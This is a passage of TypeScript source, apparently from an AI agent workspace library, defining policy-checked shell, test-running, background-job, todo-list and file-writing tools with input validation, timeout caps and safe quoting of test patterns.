arguments without a runtime schema dependency: `command` must be\n * a non-empty string, `timeoutMs` (when present) a positive number and\n * `background` (when present) a boolean. Invalid args surface as a\n * `SchemaValidationError` in the tool result's `error` field rather than\n * reaching `ops.exec`.\n */\nfunction runShellInputSchema(background: boolean): StandardSchemaV1<RunShellInput> {\n const schema: StandardSchemaV1<RunShellInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n if (typeof value !== \"object\" || value === null) {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (typeof candidate.command !== \"string\" || candidate.command.length === 0) {\n return {\n issues: [{ message: \"command must be a non-empty string\", path: [\"command\"] }],\n };\n }\n\n if (\n candidate.timeoutMs !== undefined &&\n (typeof candidate.timeoutMs !== \"number\" || candidate.timeoutMs <= 0)\n ) {\n return {\n issues: [{ message: \"timeoutMs must be a positive number\", path: [\"timeoutMs\"] }],\n };\n }\n\n if (candidate.background !== undefined && typeof candidate.background !== \"boolean\") {\n return {\n issues: [{ message: \"background must be a boolean\", path: [\"background\"] }],\n };\n }\n\n const result: RunShellInput = { command: candidate.command };\n\n if (typeof candidate.timeoutMs === \"number\") {\n result.timeoutMs = candidate.timeoutMs;\n }\n\n if (candidate.background === true) {\n result.background = true;\n }\n\n return { value: result };\n },\n },\n };\n\n return withJsonSchema(schema, runShellJsonSchema(background));\n}\n\n/** Options for {@link makeRunShellTool}. */\nexport interface MakeRunShellToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_shell\"`). */\n name?: string;\n /**\n * Upper bound for a model-supplied `timeoutMs` on a foreground command —\n * the model can lower the timeout, never raise it past this. The\n * workspace passes its `shell.timeoutMs`.\n */\n maxTimeoutMs?: number;\n /**\n * Accept `background: true` and start the command as a background job\n * (`ops.startShell`), returning a {@link RunShellBackgroundResult}. The\n * workspace sets it when the policy has `shell.background`. Default\n * `false`: a background request is refused.\n */\n background?: boolean;\n /**\n * The name of the shell lines run in (for example `bash` or\n * `PowerShell 7 (pwsh)`). When set, the description tells the model which\n * shell and syntax rules apply. Absent ⇒ argv mode, no shell.\n */\n shellLabel?: string;\n /** The grammar of that shell; selects the syntax rules in the description. */\n shellDialect?: \"posix\" | \"cmd\" | \"powershell\" | \"none\";\n /** The operating system named in the description. Default: the running one. */\n platform?: NodeJS.Platform;\n}\n\nconst DIALECT_RULES: Record<\"posix\" | \"cmd\" | \"powershell\", string> = {\n posix:\n \"Use POSIX shell syntax: `;`, `&&`, `||`, pipes, quotes, `$( )` and redirections are supported, \" +\n \"and every command in the line is checked. Compound statements (`if`, `for`), brace expansion, \" +\n \"arithmetic and `&` are not.\",\n cmd:\n \"Use cmd.exe syntax: `&&`, `||`, `&`, `|` and simple redirections are supported, and every command \" +\n \"in the line is checked. `%` and `!` expansion, `^`, parentheses and `if` / `for` are not.\",\n powershell:\n \"Use PowerShell syntax: `;`, `&&`, `||`, pipes, `$( )`, the call operator `&` and the redirections \" +\n \"`>`, `>>`, `2>` and `2>&1` are supported, and every command in the line is checked (aliases such as \" +\n \"`rm` and `Remove-Item` are treated alike). Script blocks, `Invoke-Expression`, here-strings, \" +\n \"splatting and `if` / `foreach` are not.\",\n};\n\nconst PLATFORM_NAMES: Partial<Record<NodeJS.Platform, string>> = {\n win32: \"Windows\",\n darwin: \"macOS\",\n linux: \"Linux\",\n};\n\n/** The sentence that names the shell and its syntax, or `\"\"` in argv mode. */\nfunction shellSentence(options: MakeRunShellToolOptions | undefined): string {\n const dialect = options?.shellDialect;\n\n if (options?.shellLabel === undefined || dialect === undefined || dialect === \"none\") {\n return \"\";\n }\n\n const platform = options.platform ?? process.platform;\n\n return (\n ` Commands run on ${PLATFORM_NAMES[platform] ?? platform} using ${options.shellLabel}. ` +\n DIALECT_RULES[dialect]\n );\n}\n\n/** The lower of the model's timeout and the cap (either may be absent). */\nfunction cappedTimeout(requested: number | undefined, cap: number | undefined): number | undefined {\n if (requested === undefined) {\n return cap;\n }\n\n return cap === undefined ? requested : Math.min(requested, cap);\n}\n\n/**\n * Build the `run_shell` tool — a {@link ToolContract} that runs a command\n * line through the policy-enforced {@link WorkspaceOps} layer.\n *\n * Every command in the line is checked against the shell policy by\n * `ops.exec`; a refused line throws a `WorkspacePolicyError` (with a\n * `reason` and a message that says how to fix the command) which the\n * `tool()` runtime catches and surfaces in the result's `error` field\n * (never a thrown run-killer), so the agent reads the refusal as tool data\n * and self-corrects. A command that runs but exits non-zero is *not* an\n * error — its `exitCode`/`stderr` come back in `data` for the agent to\n * inspect.\n *\n * The agent run's cancellation `signal` (from the dispatch `ctx`) is passed\n * to `ops.exec` per invocation: a cancelled run never starts the command,\n * and one cancelled mid-command kills its process tree (`cancelled: true`).\n * A background command (`background: true`, when enabled) belongs to the\n * workspace instead and keeps running after the call returns.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Tool-name override, timeout cap and background support.\n *\n * @example\n * const runShell = makeRunShellTool(ops);\n * const { data, error } = await runShell.invoke({ command: \"npm run build\" });\n * if (error) handleDenied(error);\n * else console.log(data.exitCode, data.stdout);\n */\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions & { background?: false },\n): ToolContract<RunShellInput, RunShellResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options: MakeRunShellToolOptions & { background: true },\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult> {\n const background = options?.background === true;\n\n return tool<RunShellInput, RunShellResult | RunShellBackgroundResult>({\n name: options?.name ?? DEFAULT_RUN_SHELL_TOOL_NAME,\n description:\n \"Run a shell command inside the workspace. Every command in it must be \" +\n \"permitted by the shell policy; a refusal explains how to fix the \" +\n \"command. Output is byte-capped and the run is time-limited. A \" +\n \"non-zero exit code is returned as data, not an error.\" +\n shellSentence(options) +\n (background\n ? \" Pass background: true for a long-running command (dev server, \" +\n \"watcher): it returns an id at once; read its output with \" +\n \"shell_output and stop it with shell_kill.\"\n : \"\"),\n action: (input) => `Running \\`${input.command}\\``,\n input: runShellInputSchema(background),\n // The run's signal belongs to this one invocation: it is read from the\n // dispatch ctx on every call and never stored on the tool or workspace.\n execute: async (input, ctx) => {\n if (input.background === true) {\n if (!background) {\n throw new WorkspacePolicyError(\n \"Background commands are not enabled for this workspace; run the command without background.\",\n { type: \"denied-command\", reason: \"not-allowed\", command: input.command },\n );\n }\n\n const job = await ops.startShell(\n input.command,\n input.timeoutMs !== undefined ? { timeoutMs: input.timeoutMs } : undefined,\n );\n\n return { ...job, background: true };\n }\n\n const timeoutMs = cappedTimeout(input.timeoutMs, options?.maxTimeoutMs);\n\n return ops.exec(input.command, {\n ...(timeoutMs !== undefined ? { timeoutMs } : {}),\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n WorkspaceShellInterpreter,\n} from \"../contracts\";\nimport { RUN_TESTS_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string without\n * double quotes or newlines — the pattern is forwarded to the runner as a\n * single double-quoted argument, and those characters would break out of\n * the quoting (i.e. inject extra arguments or commands). Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = withJsonSchema<RunTestsInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\n return {\n issues: [\n {\n message: \"pattern must not contain double quotes or newlines\",\n path: [\"pattern\"],\n },\n ],\n };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n },\n RUN_TESTS_JSON_SCHEMA,\n);\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command as a single\n * quoted argument.\n */\n command?: string;\n /**\n * The workspace's `shell.interpreter`, so the pattern is quoted for the\n * way the line runs: double quotes in argv mode (the default), single\n * quotes for `/bin/sh` (so `$` and backticks in a pattern stay literal),\n * double quotes for cmd.exe.\n */\n interpreter?: WorkspaceShellInterpreter;\n /**\n * The grammar of the shell the line runs in; with `interpreter` it picks\n * the quoting: single quotes (doubled inside) for PowerShell.\n */\n dialect?: \"posix\" | \"cmd\" | \"powershell\";\n /** The platform quoting is chosen for. Default: the running one. */\n platform?: NodeJS.Platform;\n}\n\n/** Quote the test pattern as one literal argument for the line's interpreter. */\nexport function quotePattern(\n pattern: string,\n interpreter: WorkspaceShellInterpreter,\n dialect?: \"posix\" | \"cmd\" | \"powershell\",\n platform: NodeJS.Platform = process.platform,\n): string {\n if (dialect === \"powershell\" || interpreter === \"powershell\") {\n // PowerShell also reads the typographic single quotes as quotes; each is\n // doubled to stay literal.\n return `'${pattern.replace(/['\\u2018\\u2019\\u201A\\u201B]/g, \"$&$&\")}'`;\n }\n\n if (interpreter === \"bash\" || (interpreter === \"sh\" && platform !== \"win32\")) {\n return `'${pattern.replace(/'/g, \"'\\\\''\")}'`;\n }\n\n return `\"${pattern}\"`;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a **single quoted argument** — a path/suite filter the\n * tokenizer hands to the runner as one argv element (e.g.\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\n * data, never a second command. Like `run_shell`, the resolved command's\n * executable is gated by the shell policy — a denial surfaces in the\n * result's `error` field — and a non-zero exit (failing tests) comes back\n * as `data` for the agent to read and fix. The agent run's cancellation\n * `signal` is threaded per invocation, exactly as for `run_shell`.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name and base-command overrides.\n *\n * @example\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\n * if (data.exitCode !== 0) inspect(data.stderr);\n */\nexport function makeRunTestsTool(\n ops: WorkspaceOps,\n options?: MakeRunTestsToolOptions,\n): ToolContract<RunTestsInput, RunShellResult> {\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\n\n return tool<RunTestsInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\n description:\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\n \"name pattern forwarded to the test runner. Failing tests return a \" +\n \"non-zero exit code as data, not an error.\",\n action: (input) =>\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\n input: runTestsInputSchema,\n execute: (input, ctx) => {\n // The pattern rides as ONE quoted token (double quotes and newlines are\n // rejected by the schema; under /bin/sh it is single-quoted, so `$` and\n // backticks stay literal), so it reaches the runner as a single argv\n // element and can never smuggle in additional commands or arguments.\n const command = input.pattern\n ? `${baseCommand} ${quotePattern(input.pattern, options?.interpreter ?? \"none\", options?.dialect, options?.platform)}`\n : baseCommand;\n\n return ops.exec(command, ctx?.signal ? { signal: ctx.signal } : undefined);\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ShellJobInfo, ShellKillInput, WorkspaceOps } from \"../contracts\";\nimport { SHELL_KILL_JSON_SCHEMA } from \"./json-schemas\";\nimport { objectSchema, stringField } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"shell_kill\";\n\n/** Input schema for the `shell_kill` tool. */\nconst inputSchema = objectSchema<ShellKillInput>({ id: stringField() }, SHELL_KILL_JSON_SCHEMA);\n\n/**\n * Build the agent-facing `shell_kill` tool: stop a background command\n * started with `run_shell({ background: true })`, killing its whole process\n * tree, and return its final state. Killing a command that already stopped\n * just reports its state. An unknown id surfaces as a `WorkspaceJobError`\n * in the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeShellKillTool(ops).invoke({ id: \"job-1\" });\n * console.log(data?.status); // \"killed\"\n */\nexport function makeShellKillTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ShellKillInput, ShellJobInfo> {\n return tool<ShellKillInput, ShellJobInfo>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Stop a background command started with run_shell (background: true), \" +\n \"killing it and everything it started. Returns its final state.\",\n action: (input) =>\n `Stopping ${typeof input.id === \"string\" ? input.id : \"a background command\"}`,\n input: inputSchema,\n execute: (input) => ops.shellKill(input.id),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ShellOutputInput, ShellOutputResult, WorkspaceOps } from \"../contracts\";\nimport { SHELL_OUTPUT_JSON_SCHEMA } from \"./json-schemas\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"shell_output\";\n\n/** Input schema for the `shell_output` tool. */\nconst inputSchema = objectSchema<ShellOutputInput>(\n {\n id: stringField(),\n since: optionalNumberField(),\n waitMs: optionalNumberField(),\n },\n SHELL_OUTPUT_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `shell_output` tool: the new output of a\n * background command started with `run_shell({ background: true })`, plus\n * its state (`running` / `exited` / `killed` / `timed-out`, `exitCode`).\n *\n * Without `since` it returns everything produced since the previous read;\n * `cursor` in the result is the position to pass as `since` next time.\n * `waitMs` (at most 30 s) waits for new output or for the command to stop\n * when there is nothing new yet — the agent run's signal ends the wait\n * early. Only the newest `shell.maxOutputBytes` of a command's output are\n * kept; `droppedBytes` says how much the reader missed.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeShellOutputTool(ops).invoke({ id: \"job-1\", waitMs: 2_000 });\n * if (data?.stdout.includes(\"ready\")) console.log(\"dev server is up\");\n */\nexport function makeShellOutputTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ShellOutputInput, ShellOutputResult> {\n return tool<ShellOutputInput, ShellOutputResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read new output of a background command started with run_shell \" +\n \"(background: true) and see whether it is still running. Returns \" +\n \"output since the last read; waitMs waits briefly for more.\",\n action: (input) =>\n `Reading output of ${typeof input.id === \"string\" ? input.id : \"a background command\"}`,\n input: inputSchema,\n execute: (input, ctx) =>\n ops.shellOutput(input.id, {\n ...(input.since !== undefined ? { since: input.since } : {}),\n ...(input.waitMs !== undefined ? { waitMs: input.waitMs } : {}),\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n }),\n });\n}\n","import type {\n TodoListResult,\n WorkspaceTodo,\n WorkspaceTodoInput,\n WorkspaceTodoStatus,\n} from \"./contracts\";\n\n/** Most items a todo list may hold. */\nexport const MAX_TODOS = 100;\n\n/** Longest `content` one todo item may have. */\nexport const MAX_TODO_CONTENT_LENGTH = 1_000;\n\n/** The statuses a todo item may have, in display order. */\nexport const TODO_STATUSES: readonly WorkspaceTodoStatus[] = [\n \"pending\",\n \"in_progress\",\n \"completed\",\n];\n\n/**\n * Validate a whole replacement list. Returns the problems found (empty when\n * the list is valid) so the tool schema and the direct method share one\n * set of rules.\n */\nexport function todoListProblems(todos: readonly WorkspaceTodoInput[]): string[] {\n const problems: string[] = [];\n const ids = new Set<string>();\n\n if (todos.length > MAX_TODOS) {\n problems.push(`a todo list holds at most ${MAX_TODOS} items (got ${todos.length})`);\n }\n\n todos.forEach((todo, index) => {\n if (todo.content.trim() === \"\") {\n problems.push(`todos[${index}].content must not be empty`);\n }\n\n if (todo.content.length > MAX_TODO_CONTENT_LENGTH) {\n problems.push(`todos[${index}].content is longer than ${MAX_TODO_CONTENT_LENGTH} characters`);\n }\n\n if (!TODO_STATUSES.includes(todo.status)) {\n problems.push(`todos[${index}].status must be one of ${TODO_STATUSES.join(\", \")}`);\n }\n\n const id = todo.id ?? String(index + 1);\n\n if (ids.has(id)) {\n problems.push(`todos[${index}].id \"${id}\" is used more than once`);\n }\n\n ids.add(id);\n });\n\n return problems;\n}\n\n/**\n * The in-memory todo list of one workspace (shared by its projections).\n * `write` replaces the whole list, the way an agent's plan tool usually\n * works: the model sends the full updated list every time.\n */\nexport class TodoStore {\n private items: WorkspaceTodo[] = [];\n\n /** The current list and a count per status. */\n public read(): TodoListResult {\n const counts: Record<WorkspaceTodoStatus, number> = {\n pending: 0,\n in_progress: 0,\n completed: 0,\n };\n\n for (const item of this.items) {\n counts[item.status]++;\n }\n\n return { todos: this.items.map((item) => ({ ...item })), counts };\n }\n\n /**\n * Replace the list. Items without an `id` get their 1-based position as\n * one. Throws a `RangeError` naming every problem when the list is invalid\n * (too long, empty content, unknown status, duplicate id); the old list is\n * kept in that case.\n */\n public write(todos: readonly WorkspaceTodoInput[]): TodoListResult {\n const problems = todoListProblems(todos);\n\n if (problems.length > 0) {\n throw new RangeError(`Invalid todo list: ${problems.join(\"; \")}.`);\n }\n\n this.items = todos.map((todo, index) => ({\n id: todo.id ?? String(index + 1),\n content: todo.content.trim(),\n status: todo.status,\n }));\n\n return this.read();\n }\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { MAX_TODOS, TODO_STATUSES, type TodoStore, todoListProblems } from \"../todos\";\nimport type {\n TodoListResult,\n TodoWriteInput,\n WorkspaceTodoInput,\n WorkspaceTodoStatus,\n} from \"../contracts\";\nimport { TODO_READ_JSON_SCHEMA, TODO_WRITE_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Whether `value` is a todo status. */\nfunction isTodoStatus(value: unknown): value is WorkspaceTodoStatus {\n return typeof value === \"string\" && (TODO_STATUSES as readonly string[]).includes(value);\n}\n\n/** Input schema for the `todo_write` tool. */\nconst todoWriteSchema = withJsonSchema<TodoWriteInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const raw = (value as Record<string, unknown>).todos;\n\n if (!Array.isArray(raw) || raw.length > MAX_TODOS) {\n return {\n issues: [\n {\n message: `\"todos\" must be an array of at most ${MAX_TODOS} items`,\n path: [\"todos\"],\n },\n ],\n };\n }\n\n const issues: StandardSchemaV1.Issue[] = [];\n const todos: WorkspaceTodoInput[] = [];\n\n raw.forEach((item: unknown, index: number) => {\n if (typeof item !== \"object\" || item === null || Array.isArray(item)) {\n issues.push({ message: `todos[${index}] must be an object`, path: [\"todos\", index] });\n\n return;\n }\n\n const candidate = item as Record<string, unknown>;\n\n if (typeof candidate.content !== \"string\") {\n issues.push({\n message: `todos[${index}].content must be a string`,\n path: [\"todos\", index, \"content\"],\n });\n }\n\n if (!isTodoStatus(candidate.status)) {\n issues.push({\n message: `todos[${index}].status must be one of ${TODO_STATUSES.join(\", \")}`,\n path: [\"todos\", index, \"status\"],\n });\n }\n\n if (candidate.id !== undefined && typeof candidate.id !== \"string\") {\n issues.push({\n message: `todos[${index}].id must be a string when provided`,\n path: [\"todos\", index, \"id\"],\n });\n }\n\n if (typeof candidate.content === \"string\" && isTodoStatus(candidate.status)) {\n todos.push({\n content: candidate.content,\n status: candidate.status,\n ...(typeof candidate.id === \"string\" ? { id: candidate.id } : {}),\n });\n }\n });\n\n if (issues.length === 0) {\n for (const problem of todoListProblems(todos)) {\n issues.push({ message: problem, path: [\"todos\"] });\n }\n }\n\n return issues.length > 0 ? { issues } : { value: { todos } };\n },\n },\n },\n TODO_WRITE_JSON_SCHEMA,\n);\n\n/** Input schema for the `todo_read` tool (no arguments). */\nconst todoReadSchema = withJsonSchema<Record<string, never>>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate: () => ({ value: {} }),\n },\n },\n TODO_READ_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `todo_write` tool over a workspace's todo list:\n * the model sends the **complete** updated list (each item `content` +\n * `status` of `pending` / `in_progress` / `completed`, optional `id`) and it\n * replaces the old one. The list lives in memory, per workspace (shared by\n * its `readonly()` / `scope()` projections), for the length of the run.\n *\n * @param store - The workspace's todo list.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * await makeTodoWriteTool(store).invoke({\n * todos: [\n * { content: \"Reproduce the failing test\", status: \"completed\" },\n * { content: \"Fix the rounding bug\", status: \"in_progress\" },\n * ],\n * });\n */\nexport function makeTodoWriteTool(\n store: TodoStore,\n options?: { name?: string },\n): ToolContract<TodoWriteInput, TodoListResult> {\n return tool<TodoWriteInput, TodoListResult>({\n name: options?.name ?? \"todo_write\",\n description:\n \"Replace your todo list for this task with the complete updated list \" +\n \"(each item: content and status pending | in_progress | completed). \" +\n \"Use it to plan multi-step work and to mark progress.\",\n action: \"Updating the todo list\",\n input: todoWriteSchema,\n execute: async (input) => store.write(input.todos),\n });\n}\n\n/**\n * Build the agent-facing `todo_read` tool: the workspace's current todo\n * list and a count per status.\n *\n * @param store - The workspace's todo list.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeTodoReadTool(store).invoke({});\n * console.log(data?.counts.pending);\n */\nexport function makeTodoReadTool(\n store: TodoStore,\n options?: { name?: string },\n): ToolContract<Record<string, never>, TodoListResult> {\n return tool<Record<string, never>, TodoListResult>({\n name: options?.name ?? \"todo_read\",\n description: \"Read your current todo list for this task.\",\n action: \"Reading the todo list\",\n input: todoReadSchema,\n execute: async () => store.read(),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport { WRITE_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { WorkspaceOps, WriteFileInput, WriteFileResult } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"write_file\";\n\n/** Input schema for the `write_file` tool. */\nconst inputSchema = objectSchema<WriteFileInput>(\n {\n path: stringField(),\n content: stringField(),\n },\n WRITE_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `write_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, content }` against a Standard Schema, then\n * delegates to `ops.writeFile`, which atomically writes the full content\n * (creating parent directories) and returns the byte count and content\n * `hash`. The tool re-attaches the workspace-relative `path` so the\n * result matches the {@link WriteFileResult} wire shape.\n *\n * **Errors flow as data.** A jail escape is thrown by `ops`; the\n * `tool()` wrapper catches it and surfaces it in the returned `{ error }`\n * field — `invoke()` never throws.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const writeTool = makeWriteFileTool(ops);\n * const { data } = await writeTool.invoke({ path: \"src/new.ts\", content: \"export {};\" });\n * console.log(data.bytesWritten, data.hash);\n */\nexport function makeWriteFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<WriteFileInput, WriteFileResult> {\n return tool<WriteFileInput, WriteFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Write full content to a workspace file, creating it (and any parent \" +\n \"directories) if absent and overwriting it otherwise. The write is \" +\n \"atomic. Returns the bytes written and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n const { hash, bytesWritten, diagnostics } = await ops.writeFile(input.path, input.content);\n\n return {\n path: input.path,\n bytesWritten,\n hash,\n ...(diagnostics !== undefined ? { diagnostics } : {}),\n };\n },\n });\n}\n","import path from \"node:path\";\nimport { ai, type ToolContract } from \"@warlock.js/ai\";\nimport { createLocalBackend } from \"./backends/local\";\nimport { createMockBackend } from \"./backends/mock\";\nimport { WorkspacePolicyError } from \"./errors\";\nimport { createOps } from \"./ops\";\nimport { classifyShellCommand } from \"./policy/shell-check\";\nimport { resolveShell, type ResolvedShell } from \"./policy/shell-interpreter\";\nimport { ShellJobs } from \"./shell-jobs\";\nimport { TodoStore } from \"./todos\";\nimport { applyPatchWithOps } from \"./patch/apply-patch-generic\";\nimport { makeApplyPatchTool } from \"./tools/apply-patch\";\nimport { makeEditFileTool } from \"./tools/edit-file\";\nimport { makeGlobTool } from \"./tools/glob\";\nimport { makeGrepTool } from \"./tools/grep\";\nimport { makeListDirTool } from \"./tools/list-dir\";\nimport { makeMultiEditTool } from \"./tools/multi-edit\";\nimport { makeReadFileTool } from \"./tools/read-file\";\nimport { makeRunShellTool } from \"./tools/run-shell\";\nimport { makeRunTestsTool } from \"./tools/run-tests\";\nimport { makeShellKillTool } from \"./tools/shell-kill\";\nimport { makeShellOutputTool } from \"./tools/shell-output\";\nimport { makeTodoReadTool, makeTodoWriteTool } from \"./tools/todo\";\nimport { makeWriteFileTool } from \"./tools/write-file\";\nimport type {\n ApplyPatchInput,\n ApplyPatchResult,\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepResult,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n TodoListResult,\n Workspace,\n WorkspaceBackend,\n WorkspaceCommandPattern,\n WorkspaceOps,\n WorkspaceShellClassification,\n WorkspacePolicy,\n WorkspaceTodoInput,\n WorkspaceToolName,\n WorkspaceTools,\n} from \"./contracts\";\n\n/**\n * The full set of tool names a writable workspace vends, in a stable\n * canonical order so `tools.all()` is deterministic.\n */\nconst ALL_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"editFile\",\n \"multiEdit\",\n \"applyPatch\",\n \"writeFile\",\n \"listDir\",\n \"runShell\",\n \"shellOutput\",\n \"shellKill\",\n \"runTests\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/**\n * The subset a {@link Workspace.readonly} projection exposes — the\n * tools that cannot change the tree. `editFile` / `multiEdit` /\n * `writeFile` / the shell tools / `runTests` are deliberately omitted so a\n * reviewer agent has no path to change it. The todo tools stay: they only\n * touch the in-memory plan.\n */\nconst READONLY_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"listDir\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/** Tools vended only when the policy enables background commands. */\nconst BACKGROUND_TOOL_NAMES: ReadonlySet<WorkspaceToolName> = new Set([\"shellOutput\", \"shellKill\"]);\n\n/**\n * State one workspace shares with every projection made from it: its\n * background commands and its todo list.\n */\ninterface WorkspaceState {\n jobs: ShellJobs;\n todos: TodoStore;\n /** Command patterns the host approved with `remember`. */\n approvals: WorkspaceCommandPattern[];\n}\n\n/**\n * Choose the dumb IO executor for a policy. `\"mock\"` selects the\n * in-memory backend (hermetic tests); anything else — including the\n * `\"local\"` default and an absent `backend` — selects the real-disk\n * local backend.\n */\nfunction selectBackend(policy: WorkspacePolicy): WorkspaceBackend {\n if (policy.backend === \"mock\") {\n return createMockBackend();\n }\n\n return createLocalBackend();\n}\n\n/**\n * The internal {@link Workspace} implementation. Holds the resolved\n * backend, the policy, and the single shared {@link WorkspaceOps} seam\n * that both the agent-facing `.tools.*` factories and the human-facing\n * direct methods funnel through — one jail, one rule set, two callers.\n *\n * The `allowedTools` set narrows what `tools.*` will vend and which\n * mutating direct methods are permitted: a full workspace allows every\n * name; a {@link WorkspaceImpl.readonly} projection allows only the\n * read/grep/glob subset and rejects writes/edits/shell/mkdir/remove.\n *\n * Constructed via {@link workspace}; the class itself is internal.\n */\nclass WorkspaceImpl implements Workspace {\n /** The shared, policy-enforced operation layer (jail + guards). */\n private readonly ops: WorkspaceOps;\n\n /** Tool names this projection is permitted to vend / mutate through. */\n private readonly allowedTools: ReadonlySet<WorkspaceToolName>;\n\n public readonly policy: WorkspacePolicy;\n\n public readonly tools: WorkspaceTools;\n\n public readonly shell: { classify(line: string): WorkspaceShellClassification };\n\n /** The shell the policy's interpreter resolves to on this host. */\n private readonly resolvedShell: ResolvedShell;\n\n /** Background commands + todo list, shared with projections. */\n 